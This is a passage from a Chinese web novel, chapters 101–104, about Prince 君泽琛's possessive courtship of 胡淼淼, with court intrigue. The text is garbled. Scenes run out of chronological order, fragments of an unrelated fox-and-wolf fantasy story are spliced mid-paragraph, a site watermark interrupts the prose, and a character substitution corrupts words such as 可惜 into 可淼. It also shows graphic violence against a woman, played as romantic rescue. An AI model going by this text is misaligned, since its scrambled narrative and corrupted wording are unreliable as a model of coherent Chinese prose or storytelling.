地毯,桌子,门窗,床,被子,几乎都变成了暧昧的红,胡淼淼看着红彤彤的火炉,进进出出布置房间的下人,对君泽琛轻声问:“这是不是太喜庆了?” 其实,胡淼淼更喜欢素的,这些还真的很晃眼。 “有吗?”君泽琛眉眼温和,不动声色道:“每年都这样,我还让人添加了新衣……” 他顿了顿,又补充道:“红色的,正好明天年关穿。” 君泽琛脑中回想起那天女人穿红衣的模样,那日发生的事情并不友好,可是在他心中却种了一抹朱砂! 他想抹去关于那天的不愉快,想在她苍白的脸上染上红妆,既然嫁给了他,就应该红红火火的,等接受他爱意后,他还要把这红色蔓延整个京城,任何地方都要留下属于他们的足迹。 胡淼淼:“……” 并不知道某人心里计策宏图霸业的胡淼淼有些无语,可是想这是人家王府,爱怎么来怎么来吧。 布置房间需要很久,君泽琛怕叨扰到胡淼淼,他陪胡淼淼在另一个屋子里待了一天,吃完饭后,胡淼淼看书,他看她。 眼光灼灼让人想要忽视都难,这些日子以来,她都习惯了。 她幽幽叹了口气,任由他看,心里也还能接受。 可是临近傍晚回到主卧的时候,她却有想要逃的冲动。 洗完澡后胡淼淼躺在床上,头顶红色纱幔,大红色锦被染红了她的脸颊。 此情此景,太暧\\昧了,尤其是红烛摇曳之中,反倒像是洞房花烛…… 腰间不自觉袭上来一只手,胡淼淼一惊,就听身后问:“怎么了?可是睡着不习惯?我让人换掉?” “不用了。” 都已经大晚上了,还是别折腾了,就是腰间的大手有点灼热,还有点烫人…… 不知道是不是错觉,胡淼淼感觉那只手好像颤了一下。 罢了,就这样吧。 胡淼淼懒得想,努力让自己入睡,明日就是年关了,过了年关就是年,她现在是琛王妃,进宫是不可避免了。 早点休息,不然明天很难提起精神, 胡淼淼闭上了眼睛,努力忽视异样情绪,殊不知背后之人也很紧张。 能不紧张吗? 以往都是在胡淼淼睡着了他偷偷抱,今天环境不一样,君泽琛一个没忍住就动手了,他手轻轻搭在人家小腹处,见对方没拒绝,暗恼自己鲁莽的时候,又忍不住窃喜。 这也是一种进步吧? 鼻间嗅着清淡的药香,一时之间他竟有些睡不着,下意识又往她身边挪了挪,挺尸半个时辰,察觉对方真的睡了,又挪了挪,直到整个人都贴上,才满足的叹出一口气。 像小狗似的把脸埋入她脖颈之中,慢慢进入梦乡。 但…… 得寸进尺一时爽,当第二天君泽琛醒来之际,就感觉某处一片粘稠,愣了几秒赶紧松开胡淼淼,和犯了错的小孩,披了件衣服就跑了出去。 正在门口候着的下人们被吓了一跳,还没反应过来,就听琛王吩咐:“打热水……送到隔壁房间。” 他顿了顿又感觉热水不妥,又叫住下人:“不用热水,要冷的。” 下人:“???” 他看了看死冷寒天的,暗自惊叹王爷是个狠人! 她绷紧了皮,甜甜蜜蜜地唤他夫君,生硬地转移话题,“夫君,我们要去哪呀?” 尾巴扫啊扫,试图驱赶拖着狐狸屁股的那只手掌。 君泽琛颠了颠手,“回人界。” 小狐狸还以为要掉下去了,慌乱地用四只爪子抱紧了他的手臂,爪尖勾住他的衣服,惊魂未定地往他身上贴。 男人不动声色扯了扯唇角,“抓紧了。” 胡淼淼还没反应过来,眼前一阵天旋地转,耳边是呼呼的风声,强烈的失重感让她心脏提到嗓子眼,嗷呜嗷呜尖叫,死命地抱着君泽琛不撒手,肌肤相贴,彼此的温度相融,鼻尖全是男人热烈的气息,这一刻,唯有他身边是满满的安全感。 小狐狸躲在他臂弯里,脑袋埋入在他胸前,并没有看见男人勾起的唇角,和眼底变态的愉悦。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第 101 章 第 101 章 不知过了多久,风声静止,一切都恢复平静,胡淼淼睁开了眼睛,发现自己浑身毛毛凌乱,差点镶嵌进君泽琛的胸肌里不说,那三条不听话的尾巴和八爪鱼似的缠着他的手臂,爪子更是把他身上挠得破破烂烂。 她赶紧松手,从他身上跳下来,在地上忙碌地梳毛。 假装很忙碌的样子。 毕竟她现在都是成熟的狐狸了,怎么还和以前那样胆小。 她一边梳毛,一边偷瞄君泽琛,每一次偷瞄都被男人捕捉个正着,多次被逮住之后,她后知后觉,是他也在一直看她。 胡淼淼转过身,用尾巴对着他,闲暇之余发现四周的景色有些眼熟。 “日落山?” “嗯。”男人的嗓音低沉醇厚,拥有成熟男人的魅力,给人浓浓的安全感,“是的,我们回家了。” 第二天,出了两件大事,一是三王爷竟然又要选妃了! 三王爷君子华大婚当时可是羡煞无数名门闺秀,恨不得以身替代那病秧子嫁给他,但大闹婚礼事件,也骇人听闻,唏嘘一片。 然而这才过去多久?距离年关还有一个月的时间,君泽琛“修养”了半个月才能下床,期间胡淼淼每天晚上都偷偷用自己特殊能力让君泽琛好的更快一些。 只是有一点胡淼淼非常疑惑,为什么通过她眼睛,看伤口处的细胞恢复很快,君泽琛好的却那么慢呢? 这一点胡淼淼百思不得其解。 所谓当局者迷,除了胡淼淼,王府随便拉出来一个人,提到君泽琛伤为什么不好,他们的脸色都会一言难尽。 君泽琛半个月没去早朝了,也就是这半个月,皇上的势力开始在发展,势必要抓紧机会。 “琛王受伤那么久,不会……” 早朝前皇上还没到,有的人窃窃私语了起来。 他们不是没想过去“探望”观察情况,可是都被拒之门外,琛王府根本不见客,而琛王党羽众多,全按兵不动…… “哼~死了最好!” 一名老臣冷着脸哼了一句,这人是冯太傅,显然还对抢亲那天的事件耿耿于怀呢。 “哦?那可真让你失望了,本王命硬死不了!” 狂妄的声音随着冯太傅话落,在殿外响起,男人一身长披风,大刀破斧走进来,那一刻,风雪沦为背景,君泽琛一如既往狂傲不羁走进殿内,每走一步,众人心尖都跟着颤了颤。 冯太傅脸色不好,这人怎么说来就来,竟然没通报…… 其他大臣也是这么想的,上一秒还闭门不出的家伙,下一秒在他们议论的时候出现在他们面前。 阴魂不散…… 皇上党羽希望破灭,君泽琛越过脸色不好的众人 ,大步走到君子华面前,挑了挑眉:“呦呵,又要选妃了?” 众人:“……” 琛王贱不刺溜的语气是怎么回事? 不对,上次琛王就把人家王妃抢走了,这次……他们瞪大眼睛在君泽琛君子华之间来回穿梭。 “琛王你莫要放肆,这次休要搅合三王爷婚姻。” 冯太傅是第一个看不下去的,他年岁已高,为人古板,不说君子华,就说当时皇上他都教过书,朝中哪个不把他当做帝师看待? 唯独落网之鱼,从小没人管束,才长歪了。 要问朝堂上谁最讨厌琛王,除了一些隐晦之人,就剩下冯太傅了,他恨不得把琛王塞回去回炉重造,好好学习一些何为人伦,何为人臣! “搅合?” 君泽琛站在君子华面前,像是听到了笑话一般,突然狂笑起来,大殿之上,敢如此放荡的,大概就属琛王了。 “你笑什么?” 他的笑,让有些人不是滋味,尤其是君子华,从某种阶段开始,哪怕华贵妃告诉不让与琛王恶交,心里也把君泽琛当成敌人。 君泽琛止住笑声,睥睨着他,语气不屑:“本王在笑,你是个什么东西值得我一而再再而三抢亲?宝贝已经抢回去了,现在属于本王 ,剩下的垃圾你随意,不过皇侄还年轻,悠着点,女人玩多了,可就废了。” 说着他狂傲地扫了一眼君子华某不可言说的位置…… 暗色系列改为暖色系的房间内,胡淼淼手中捧着一本书,目光却不自觉落在外面。 琛王伤口才刚结痂,也不知上早朝会不会有什么影响…… “王妃……”若冰敲门走进了,一向沉稳的语气竟有一些着急:“王爷被软禁了。” “啪——” 书籍掉落,胡淼淼却无暇管它,倏然站起来,因为有些急,以至于刚开始的时候眼前有点晕眩,好在被若冰及时扶住了。 “王妃您别急……” 说话间,外间门被打开,君泽琛担心披风上沾了凉气,在外间脱了穿着便衣走进来,一眼就撞入胡淼淼急切的美眸中。 君泽琛动作一顿,笑了笑迎上去。 “怎么了这么急?” 若冰照看了一下火炉,见炉火旺盛,就识趣的把门带上离开了。 胡淼淼眉毛微微一蹙,被对方搀扶着坐下,只不过她反手抓住他:“你……得罪皇上了?” 她的语气中带着一丝担心。 经过这么一段时间相处,胡淼淼知道,琛王并非传言中那么狂傲,到底因为什么,让他惹怒了皇上? 原来她是担心这个…… 君泽琛鹰眸一软,这一刻,他就像是退去锋芒的利刃,找到了属于自己的剑鞘,整个人温柔的一发不可收拾。 他没忍住,揉了揉胡淼淼的脑袋:“没事,不过是让我养伤而已。” 胡淼淼的头发如她人一样软,又很柔顺,一模之下君泽琛竟然没控制住,像吸猫似的,又吸了几遍。 直到他的小娇妻发型被弄乱,他才尴尬的收回手。 “可是……” 胡淼淼:“……” 琛王说话怎么大喘气,她捋了捋头发,就听君泽琛话锋一转:“今天我把君子华揍了!” 他说话,就连他自己都没察觉到,就像是在学校和同学打架,回来找家长的小朋友,不知自己闯祸,还得意洋洋炫耀战绩。 胡淼淼:“……罢了,伤口有没有事?” 她在心里幽幽叹口气,谁能想到堂堂琛王,竟然这么幼稚,和孩子似的。 见胡淼淼知道自己和君子华打架,首先关心的竟然是自己,君泽琛鹰眸一亮,迅速解开腰带,上身扒干净,背对着胡淼淼,语气极快:“我发现背后有点痒,可能死打架的时候弄伤了,你帮我看看……” 胡淼淼:“……” 她看着某人背后结痂丝毫没有裂开迹象的伤口,陷入了长久的沉默。 琛王……是不是有点娇气? 半个月都不到吧? 三王爷竟然又要选妃,这不就意味着他们有机会了? 还有这等好事? 她们暗自绞着手帕,赶紧让府上的人准备准备,年关那天,绝壁要艳压群芳,一举拿下三王爷,没准以后就能当太子妃了。 一时之间,京城沸腾了。 还有个消息也挺轰动,那就是昨天夜里,祸乱朝纲的大奸臣,琛王竟然被刺客刺伤了,连早朝都没上。 这对于朝廷中的某些人来说,可谓喜事一件,往日里琛王往那一坐,试问他们谁敢哔哔? 如今他们心情,就像是上课老师没来收作业似的。 更有人猜测,以往琛王那么硬气,就算剩下一口气也要上朝堂来恶心他们,以表示“老子没死你们永远是弟弟” 今儿这么了? 不会死了吧? 这感情好啊! 有的官员下朝过后,直接仨俩一伙喝酒去了,要不是不想表达太明显,他们甚至想放炮竹庆祝。 而君子华下朝后就去找皇上了。 显然,君子华不想选妃,除了对胡淼淼渣之外,君子华自我感觉良好,曾在心中翘盼着将来与自己喜欢的人在一起,郎情妾意,许她一世风华。 可突如其来的选妃,打得他措手不及。 他的想法,皇上听完笑了,大殿内就剩下父子二人,皇上拍拍他的肩膀微微用力,微笑道:“皇儿果真长大了,有自己的见地,只不过,你要明白,成大事者怎会被儿女情长绊倒?帝王之家,不需要感情,若是喜欢,纳个妾便是了。” 皇上的话,从某一点上,和华贵妃不谋而合了,按照他们的思想就是,喜欢就纳,但你不能有感情。 同样,这话听到君子华耳中,就变成了另一种警告。 他抿了抿嘴角,弯腰行礼:“儿臣知道了,多谢父皇提点,儿臣告退。” 权利,女人。 君子华选择了为权利而妥协,水芸会理解的吧? 毕竟他同样是为了水芸打算,如果质意反对父皇,父皇母妃一定会更讨厌水芸。 父皇想要处理谁,就连他都保不住。 这么想着,不自觉君子华脑中闪过一个人影,那人影羸弱纤细,一颦一笑都让人心尖轻颤,想要用心去维护。 那年,花朝节相思树下,女人盈盈一笑:“子华,我们一生一世在一起,没有外人可好?” 没有外人,人的感情,容不得任何瑕疵,可世间有几个人能做到? 当时他回答:“好!” 因为那时候的君子华以为,他可以做到,会待她一辈子好…… 他脸色一黑,牙齿咬得咯吱咯吱作响,“胡淼淼!你要不要听听你在说什么?” 在伴侣面前,狼可以不要面子,但不能失去雄性的尊严! 什么叫他不能生? 当着外人的面,狼不想讨论这个问题,他学着胡淼淼的模样,将唇瓣凑到她耳边,咬牙切齿,“你等回家的。” 阴风阵阵,从耳朵蔓延到四肢百骸,胡淼淼受惊似的将眼睛瞪得圆溜溜,这话她好像听一只成年狐狸对幼崽说过。 然后第二天,她看见那只幼崽屁股被打肿了。 第 102 章 第 102 章 胡淼淼第一次希望宴席不要散场,但天下没有不散的宴席,酒足饭饱,她被拖回了狐狸窝。 她百忙之中捂住自己的屁股,心脏剧烈跳动,被吓得语无伦次,“你敢把我屁股打肿我就肿给你看。” 话音刚落,洞内一片寂静,破旧的狐狸灯倔强地散发着微弱的光芒,男人的表情随之明明灭灭,眼底是一片晦暗之色。 “不是,不给你看。”胡淼淼脸色爆红,仿佛熟透了的蜜桃一掐能掐出水儿来,美眸闪躲,甚至不敢去看他,她羞得足尖踩踩,试图找个地缝钻进去,无奈山洞下的石头又臭又硬,根本刨不出缝。 山洞内的气息尴尬诡异,终是君泽琛开口打断一片寂静,“我能生幼崽。” 胡淼淼眨了眨眼睛,慢半拍地哦了一声。 能生,那为什么没生呢? 滚烫的茶水四溅,上好的青花盖碗碎了一地,殿内,所有人都绷住背脊,大气不敢喘一下,深怕下一秒就被殃及池鱼。 君子华一惊:“母妃?” “叶水芸叶水芸又是叶水芸,一个卑贱的商贾之女,何德何能让你这么惦记?官家名门千金那么多,没有胡淼淼。就没旁人了?叶水芸你要想纳,也只能是贱妾。” 在华贵妃眼中,只有利益,唯有联姻,才能巩固利益。 叶水芸,和宫中婢子没什么区别,甚至还不如胡淼淼,至少胡淼淼背后有胡家。 胡家背后的兵力绝不容小觑,可淼全被这不开窍的儿子给毁了。 君子华嘴角动了动,贵妃不给他时间,直接下命令:“不管你怎么想,胡淼淼嫁给琛王已成定局,决不能因为胡淼淼得罪琛王,懂了吗?” 马夫是王府的一名侍卫,他的声音从外面传出:“是三王爷突然闯过来拦住了去路。” 胡淼淼身体一僵,时隔一个多月,再次听到这个名字,她依旧不能平静。 察觉到她的不自然,君泽琛眼神一暗,抱着人的手紧了紧,另一只手把她的脑袋压到自己胸膛上,他对外冷声道:“让他滚。” 人放出来了,要是还想多活几天,最好滚远点,如若不然…… “车内可是琛皇叔?”胡淼淼的体质特殊,受伤很难好转,手上的上在王府修养了一个多月,才能拆开纱布。 这期间一直都是琛王亲自照顾她为她换药的,通过这么长时间的相处,胡淼淼发现,这位琛王不仅不如外界传闻的那么恐怖,反而耿直,细心,甚至有点可爱。 可爱在哪? 就比如,在他们谈话的第二天,这男人就去宫里,不知道用了什么方法,搞回来了两个圣旨。 其中一个,是她退婚三王爷的。 没错,就是她退婚君子华,回想起圣旨上的内容,胡淼淼就觉得不可思议! “奉天承运,皇帝诏曰,将军之女德才兼备,却因华王失德,收回赐婚之约……” 这个世界男尊女卑,就算退婚,失去颜面的也只会是女子,而这个圣旨之中。贬低的却是君子华。 那可是皇上的亲儿子,传出去岂不会损失颜面? 也不知琛王是怎么办到的,想来是废了不少事。 还有一个圣旨是赐婚的,她直接从君子华新娘跳级到皇婶。 那一刻,胡淼淼已经不知用什么心情了。 更想不到的是,因为她出不了门,君泽琛竟把外面世界新鲜事物都搬到了房间,曾经简约的房间被那些金银珠宝,胭脂水粉填充的像店铺。 只可淼她不争气,有些粉尘吸入后起了过敏反应,男人东西怎么搬回来的又怎么丢出去了,整整折腾了一天,王府下人什么都没忙,就运货了。 平静的日子就这样过去,这天胡淼淼手好的差不多了,想要回家看看父母,毕竟她出了那么大的事,还成为了琛王妃,家里一定很担心的吧? 她能安心待这么多天,还是因为琛王再三保证见过她爹,彩衣也没出事安全在将军府。 “好,不过要我陪你回去,不然我不放心!” 听闻胡淼淼要去将军府,君泽琛是不愿的,可更不想违背她的意愿,反正现在外面的人都知道淼儿是他的王妃了,不像当初名不正言不顺,所以君泽琛并没像赶开始那么敏感。 他让人准备了回将军府的马车,还不放心亲自打理,从软垫到暖炉事无巨细。 马车缓缓使动,车辙留在浅浅的白雪中,胡淼淼是这一个多月来第一次呼吸新鲜空气,马车并不颠簸,倒是可以接受。 然而身边有异动,等反应过来的时候,胡淼淼整个人已经被男人揽入怀中,她身体一僵,虽然他们已经是“夫妻”了,但还从未离这么近过,突如其来的拥抱,让她脆弱的心尖一颤,不是痛,却痒痒的。 耳边传出丝丝热气:“还是我怀里比较安全,要见岳父岳母了,别让他们担心。” 他的声音低低哑哑,让胡淼淼耳朵热了热,身后的胸膛格外踏实安全,竟无法反驳他的话。 君泽琛嘴角在她看不见的地方弧度越来越大,他凑近,在对方无法察觉的情况下深深吸了一口气,淡淡甘草的药香让他眼底露出满足。 如果,一直这样,该多好…… 然而这时,马车还真出现了突发状况,骤然停止,由于惯性胡淼淼直接向后倒,脖间一阵温热的触感。 正贪婪吸气的君泽琛:“?” 他松嘴,顾不得尴尬,焦急地检查了一圈,确定人没磕到,才对外面的车夫冷声道:“怎么回事?” 外面的声音不依不饶,明知故问,君泽琛有些不耐:“今天和你皇婶回娘家,你趁早滚蛋!” 君子华的声音一窒……“琛王……”胡淼淼微微侧眸,对上那炯炯有神的视线,场面一度尴尬。 她实在没想到,君泽琛竟然找这种书给她看…… 君泽琛:“……” 他不是,他没有,该怎么狡辩,沐七这狗东西整天都看些什么! “嘶~”他微微侧身,皱了一下英挺的剑眉,神色略微痛苦。 果然,胡淼淼很快就转移了注意力,把书放在一旁,去观察他的伤口,让君泽琛暗暗松了一口气,心中暗自给某些人记上了一笔,打算以后好好算账。 其实沐七很冤枉,王爷突然找他说要他心爱的小话本,他就以为王爷好抢亲这一口呗! 再加上今时不同往日,王爷有王妃了,总得带点颜色学习学习,不然以王爷单身狗的技术,该懂的得懂,没吃过猪肉,也要看看猪跑,万一不小心弄伤了身娇体弱的王妃,心疼的还不是他们王爷? 倒霉的还不是他们这些下人? 所以,强行给君泽琛加戏的某人,要凉了。 与此同时,各方势力蠢蠢欲动,某个奢华至极的书房内,男人抬头问身边的下人:“没回来?” “这……可能是耽搁了。” “呵~一群废物,观察那么久,好不容易抓住琛王府的漏洞……罢了,有多是时间。” 男人眯了眯眼睛,面带威严,心中只有打算,胡家手握兵权,常年镇守绥北城,乃边关重地。 兵权,是先帝下的旨意,想要收回去是不可能的,但绝对不能为琛王所用。 呵呵,以为想方设法娶了胡淼淼就可以拉拢胡将军? 只要他想,分分钟让他们成为仇敌! “传朕旨意,今年年关,在宫中举办,三品大臣之上皆可带家眷前来,为三王爷选妃。” 富源微微诧异,想要说上次三王爷大婚之事,话刚到嘴边,被及时制止。 “是……” 皇上的事他少管,不然十条狗命也不够砍的。 胡淼淼的手紧了紧,周身全是他的温度,倒是让她没那么紧张了。 她刚要抬头说话,额头却一热,不小心碰到了他的嘴角,胡淼淼一顿:“抱歉!” 君泽琛喉间动了动,唇上似乎来留着她的温度,让他想继续…… “皇叔,侄儿想见……” “压过去。” 君泽琛没耐心等他说什么,哑着嗓子命令道。 几乎是下一秒,车就动了,车夫眼睛也不眨一下就压了过去…… 君子华没想到君泽琛竟然这么放肆,他不管怎么说也是当今圣上最看中的儿子,竟敢当街压他。 好在他及时闪躲,然而却也只能看着那马车缓缓驶过。 他忍不住握了握拳头。 大婚当日,是他气糊涂了,就算恶心胡淼淼,也不能那般对待将军府的嫡女,如今将军回来,还到他府上大吵一架,让父皇最近对他越发不满。 母后还想着让他和将军府缓和关系呢,毕竟胡将军手握重权。 想要缓和关系,只能从胡淼淼这边下手。 虽然他不喜欢她了,但这么多年的感情,只要他说说,胡淼淼应该不会不同意的吧? 至于那天的胡淼淼决绝的态度,君子华直接判定是气话。 因为是她欺骗自己冒充水芸在先,他之前又对她那么好,给了她所有的耐心与包容,她还有什么可怨的? 但是,他现在竟然连人一面都见不到,看来,得从其他地方入手了。 不等他翻页过去,一只毛绒绒的脑袋瓜从后搭在他的肩膀上,歪头一起看书。 他一顿,侧头。 狐狸小嘴张成三角形,眼睛瞪得像铜铃,“嘬……嘬嘬嘬……?” 君泽琛:“……” 他脸色一黑,手动捏住狐狸精巧的嘴筒,“嘬什么,叫狗呢?” 狐狸圆润的鼻尖Q弹地一吸,发出一个鼻音,“嗯……” 第 103 章 第 103 章 “你再骂?” 君泽琛手指捏着狐狸小巧尖尖的嘴筒子,语气不太友善,小狐狸用爪子扒拉他,嗡嗡嗡半晌愣是说不出来话,她努力张嘴想咬人,可惜胳膊拧不过大腿,根本挣脱不开。 她眼珠一转,开始蓄泪水,试图装可怜。 君泽琛见此眉头一挑,“哭,今天我就这在看着你哭。” 胡淼淼:“……” “王爷,这位姑娘本身就身体虚弱,加上受了拶指……这手要是调养不好……” 断断续续的声音传入耳中,鼻尖是略微熟悉了冷香,周身都被温暖的气息所包围,床上的女人睫毛颤了颤,缓缓睁开了眼睛,正巧,那个人说道:“很可能就废了。” 不知道是不是错觉,室内的空气似乎有些冷淼。 胡淼淼一顿,这才发现自己的手已经被包扎好了,只是胀痛感尤为强烈,是获救了吗? “她的身体虚弱,还需要喝一些调养身体的药……” “下去熬药……” 君泽琛的声音戛然而止,脸上阴冷气息一收,手紧了紧,看着床上的人,就像是犯了错的孩子,干巴巴道:“你醒了?” “正好,本王出去熬药。” 说完,不等胡淼淼作何反应,人就已经大步出门了,背影挺拔如松,却隐约带着不易察觉的仓促。 “嗯?”沐七懵逼,刚才还放戾气吓人呢,转眼王爷就自己跑了,他瞥一眼床上的姑娘,现在该怎么办? “咳~”胡淼淼喘息片刻,从床上坐了起来,黑色的被子从她身上滑落,她看了眼自己的麻木的双手,这才把注意力扫向四周陌生的环境,视线落到了沐七身上,长睫不安的颤了颤:“这是哪?” 仅仅一天的时间,三王爷娶妻抛弃将军府病秧子小姐的消息就传遍了整个京城,这让不少深闺小姐暗暗窃喜。 一个病秧子怎能配得上三王爷,毕竟三王爷很有可能是未来的太子。 然事情还没完……从胡淼淼的角度,那人逆着光,一袭黑衣身材高大,能把她全部抱在怀中,剑眉肆意斜飞入鬓,鹰眸及具侵略性,周身气场阴冷狂傲,也知道是不是她的错觉,对方看着自己的眼神中,竟全是疯魔与怜淼? 他是谁?胡淼淼回来之前并没提前通知,所以迎接她的又是一番手忙脚乱,胡将军有事出去了,将军夫人周氏正和从边关回来的儿子说话。 将军家的二郎,十四岁就已经跟着胡正阳去边关闯荡了,胡宁羽比同龄人要高一些,浓眉大眼,和胡将军有些相似。 此时他们二人正好聊到胡淼淼,周氏眉眼之间皆是哀愁,就算知道淼儿没有危险,可是嫁给那样的男人,她怎能放心? 琛王杀人如麻,会不会对胡淼淼动粗这个问题,时不时折磨着她。 胡宁羽正安慰着…… 就听到外面通报,胡淼淼回来了,二人面带惊疑。 周氏更是直接站起来,一不小心打落了茶盏,已经顾不得那么多了,她迎接之前还不忘让人在大厅以及胡淼淼往日的房间准备大量碳火,这冬天雪地的,淼儿着凉就不好了。 虽然不知道琛王怎么会把人放回来,但已经足够她开心了。 这是胡淼淼昏迷前最后想法。 她本身体弱,经不起任何折腾,眼下寒风四起,又受了邢,能坚持到现在属实不易。 “琛皇叔,今日是皇侄大婚的日子,你这是作甚?” 君子华抹了把脸上的血迹,看着深深的钉如他身后的红色的柱子上,箭羽剧烈晃动,宣示着,如果他再慢一步,就已经身首异处了。 天空上的雾气消散,阳光洒落,破晓昏暗。 步伐整齐,杀戮果敢的百人队伍长驱直入,整个王府的院子都被包围,众位大臣肩膀一缩,怂成了鹌鹑,这个瘟神怎么来了,看着架势,琛王终于忍不住要造反了? 偌大的华王府,红绸散落一地,如半血的残阳萧瑟难辨,气氛一度紧张,大臣们纷纷努力缩减自己才存在感,少有的顽固大臣,比如冯太傅,颤颤巍巍的上前指责:“琛王,今天三王爷大婚,由不得你放肆!” 要是他的语气不那么没底气,还真像那么回事儿。 君泽琛低头,怀中女人发髻凌乱,面上苍白如纸,唯有被咬破的嘴角,为她添加了一点人气,汗水伴随着汗珠从脸颊滑落,滴答在了他的衣襟上,却仿佛滚烫入他的心尖,令他失去了思考能力,只能无措的抱着她,气压逐渐变低…… “放肆?”低沉沙哑的声音,处于暴躁的边缘,君泽琛刚才射箭的重弓一掷,砸在冯太傅嘴上,硬生生把四五十岁的太傅砸晕了过去,其他还想要哔哔的人瞬间安静了。 却见男人一手环住昏迷之中的女人,一手扯下身上黑色的狐裘,小心翼翼避开她的红肿血淋淋的手,轻柔的披在了她的身上。 邪肆的脸庞戾气横生:“本王让你们知道什么才是真正的放肆,本王不敢轻易触碰的人,你们就是这么对待的?嗯?” 最后一个字,宛如是从喉咙中挤出来的,带着浓重危险的气息,他猩红的鹰眸,充满疯狂的扫过在场每一个人,最终停留在了叶水芸的脸上,一字一顿:“就因为她?” 君子华心中警铃大作:“你要干什么?” 叶水云害怕的缩了缩:“王爷,他和胡淼淼什么关系?” 她的这句话,倒是点醒了众人…… 要说让朝廷众官员最惊恐的不是当今圣上,而是眼前这位琛王,也是云邬国公认的祸害,就连皇上,都要提心吊胆,深怕什么时候被他给篡了位,可以说是个十成十的佞臣了。 然而此时,就是这个刚才还气势汹汹的佞臣,竟然抱着女人,小心翼翼的宛如捧着珍宝的举止,是他们从没见过的姿态。 “关系?岂是你能多嘴的。”君泽琛怒气终于爆发,叶水云的惨叫声响彻了整个大殿,众人惊悚回头,就看见叶水云已经被射成了塞子,每一个金钗都避开了要害,却让人绝对的疼痛,血腥味顿时蔓延开来…… 一切发生的都太快了,就连她身边的君子华,都没反应过来,众人一看,还觉得钗子有些眼熟,可不就是之前胡淼淼头上的吗? 看着自己所造成的成果,君泽琛声音张狂:“死,还是太便宜你了,等她醒来,本王再将你拆皮剥骨!” “君泽琛!” 救命恩人受伤,君子华被刺激的失去了理智,上去和君泽琛拼命,然而君泽琛当了那么久的佞臣,每日都在躲避他人的刺杀,岂是他养尊处优的闲散王爷能比的? 只见君泽琛手紧了紧,保证不颠到胡淼淼的情况下,快速的躲避了扑过来的攻击,内力集中在腿上,发狠一脚踹在了君子华的腹部,直接把人踹回到了叶水芸的身边,吐血不止,一时间刚才还行凶的二人,瞬间被踩进了泥潭。 而这件事的作俑者,居高临下的看着众人:“本王思慕胡淼淼已久,要不是被你这小白脸捷足先登,你以为你会有资格让她穿上红色嫁衣?既然你不珍淼,就别怪本王抢了这门亲事,她要是出了什么事,你们所有人都别想活着出去!” 彩衣从震惊回神,惊惧的跪在一旁,想来这个人是来救小姐的,赶紧求救道:“王爷,小姐自幼身体不好,如今又受了邢,需要赶紧救治,不能再拖了。” 她的话让君泽琛如梦初醒,对,现在不是追究的时候,先救人。 “马车!” 琛王的贴身侍卫杨信迅速的到府门口,随便牵来个大臣的马车,君泽琛小心把人抱入车中:“包围华王府,一个都不许放出去,有时间本王再和他们慢慢算,杨信,你快速回府通知沐七待命。” 他知晓胡淼淼身子弱,现在的情况很容易丢失性命,必须尽快救治。 沐七是他专门从太医院抢来的太医,曾经是太医院首之子,传言更是江湖神医的徒弟,如今的医术已经超过了皇宫所有太医。 如果连他都救不了……君泽琛掐断心中的想法,抱着人的手紧了紧,脑袋轻轻蹭了蹭胡淼淼的脸。 她不能有事。 连沐七都救不了,那就所有人都陪葬吧! 琛王有了大动作,从昨天到现在,竟出动了琛王府的司空包围了三王府。 据说司空是先帝的遗物,历代帝王的暗卫,却不知为何落入了琛王的手中,就因为这个,琛王才能有机会得到如今的地位。 君泽琛亲自给胡淼淼换完纱布就出去了,胡淼淼静坐在床前发呆,长睫轻颤,眉间的褶皱让她整个人看起来都脆弱不堪。 “姑娘要不出去逛逛王府?” 琛王府没有女眷,若冰是君泽琛特意派人寻来照顾胡淼淼的,为人看起来沉默寡言,只是胡淼淼一眼就能看出对方步子沉稳,想来是习武的。 提到逛王府,胡淼淼视线幽幽看向紧闭的门窗,摇头叹了口气。 依照她的身体,哪有什么精力去逛,也不知道将军府现在如何了,担心琛王会有什么过激的反应,胡淼淼也不敢提出回府了,只能想着有时间好好和琛王谈一谈。 她憋回泪水,口齿不清,“腻薅狠的熏肠。”你好狠的心肠。 男人不为所动,捏着她的后脖颈提溜都怀里,弹个脑瓜崩,“好端端不睡觉做什么?” 却说某个正经的琛王,在没收人家书后,找个了没人的空旷房间,又觉得不保险,鹰眸严肃,宛如雄狮扫视自己的领土,最后他视线停留在房梁上,脚尖一点,就飞了上去,从怀中掏出两本书,一本正经的开始研究。 随着时间过去越来越久,他越觉得浑身发热,把看见的东西用脑子自动过滤成了他和自家王妃…… “滴答——” 男人一愣,随手抹了一把,液体从鼻尖滴落,手上红色晕染明明开来…… 君泽琛:“……” 他觉得,还是出去吹吹冷风冷静一下吧。 今天看见的,晚上在做实验。 胡淼淼还不知道某人正在费尽心机搞事情,只是以为琛王太纯情了,因为一句错话,竟然躲了她一天,吃饭都说在忙正事。 直到晚上,她才再次见到“忙碌”一天的琛王殿下。 就是琛王殿下似乎有点不对劲儿…… 从浮生镜的碎片中传送归来,君泽琛有那段时间的记忆,他知道确实如狐所说,每一次她被欺负都会不分青红皂白降一场大雨。 他多次将狐捞出来,不然她就憋死在水坑里了。 然后现在告诉他,这一切不过是因为神心疼她? 简直荒谬! 君泽琛冷笑:“神经……” 轰隆隆—— 紫色闪电划过长空,天边倏然炸起惊雷,将君泽琛剩下的话淹没。 第 104 章 第 104 章 君泽琛差点又遭雷劈! 他已经习以为常,很早之前他就察觉到上面有东西在盯着他,有时候他甚至怀疑,那东西是不是盼着他挑衅天威然后公报私仇。 小小雷罚,他不在乎,胡淼淼却被吓了一跳,小手一挥,啪嗒一下捂住男人的嘴,“你不要乱说,就算是神经,那也是神。” 原本胡淼淼是不信的,如果世界有神怎么会让她一个小狐狸遭受种种不公,就算是神,那也是他夫君狼神! 他就是一个救苦救难的绝世好神! 然而一个雷让胡淼淼有几分信服,悄悄趴在狼身上小声咬耳朵:“可能真的是神。” 笨狐狸以为悄悄说,上头那位就听不见吗? 君泽琛眼睛一眯,突然道:“你也骂它了,怎么没警告你?” 胡淼淼:“?” 她傻眼:“我什么时候骂的?” “你刚才也骂它是神经。” 轰隆隆——  却说琛王殿下,在离开卧房,被外面的冷风吹醒了理智,他有些懊恼的锤了一下身边的柱子。 突然像是想到什么,他叫来杨信,冷着脸问:“上次那些小册子还有吗?” 杨信:“……” 他低头:“属下说了,上次是沐七给属下的,属下是正经人,绝对不会看那种……不正经的东西。” 不知道是不是错觉,在说完这句话后,杨信明显感觉到,空气好像又冷了几分,一抬头,就看见自家主子杀死人的视线,好像他再敢哔哔一句话,就把他撕碎,丢进水里喂鱼! 